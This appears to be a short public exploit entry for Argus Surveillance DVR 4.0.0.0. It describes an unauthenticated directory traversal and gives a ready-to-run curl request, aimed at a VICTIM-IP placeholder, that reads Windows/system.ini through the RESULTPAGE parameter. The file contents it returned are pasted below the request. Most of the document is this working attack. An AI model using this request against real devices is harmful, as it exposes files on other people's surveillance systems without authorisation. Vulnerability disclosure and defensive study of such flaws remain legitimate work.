29 lines
No EOL
919 B
Text
29 lines
No EOL
919 B
Text
# Exploit: Argus Surveillance DVR 4.0.0.0 - Directory Traversal
|
|
# Author: John Page (aka hyp3rlinx)
|
|
# Date: 2018-08-28
|
|
# Vendor: www.argussurveillance.com
|
|
# Software Link: http://www.argussurveillance.com/download/DVR_stp.exe
|
|
# CVE: N/A
|
|
|
|
# Description:
|
|
# Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal,
|
|
# leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.
|
|
|
|
# PoC
|
|
|
|
curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
|
|
|
|
# Result:
|
|
|
|
; for 16-bit app support
|
|
woafont=dosapp.fon
|
|
EGA80WOA.FON=EGA80WOA.FON
|
|
EGA40WOA.FON=EGA40WOA.FON
|
|
CGA80WOA.FON=CGA80WOA.FON
|
|
CGA40WOA.FON=CGA40WOA.FON
|
|
|
|
wave=mmdrv.dll
|
|
timer=timer.drv
|
|
|
|
# https://vimeo.com/287115273
|
|
# Greetz: ***Greetz: indoushka | Eduardo | GGA*** |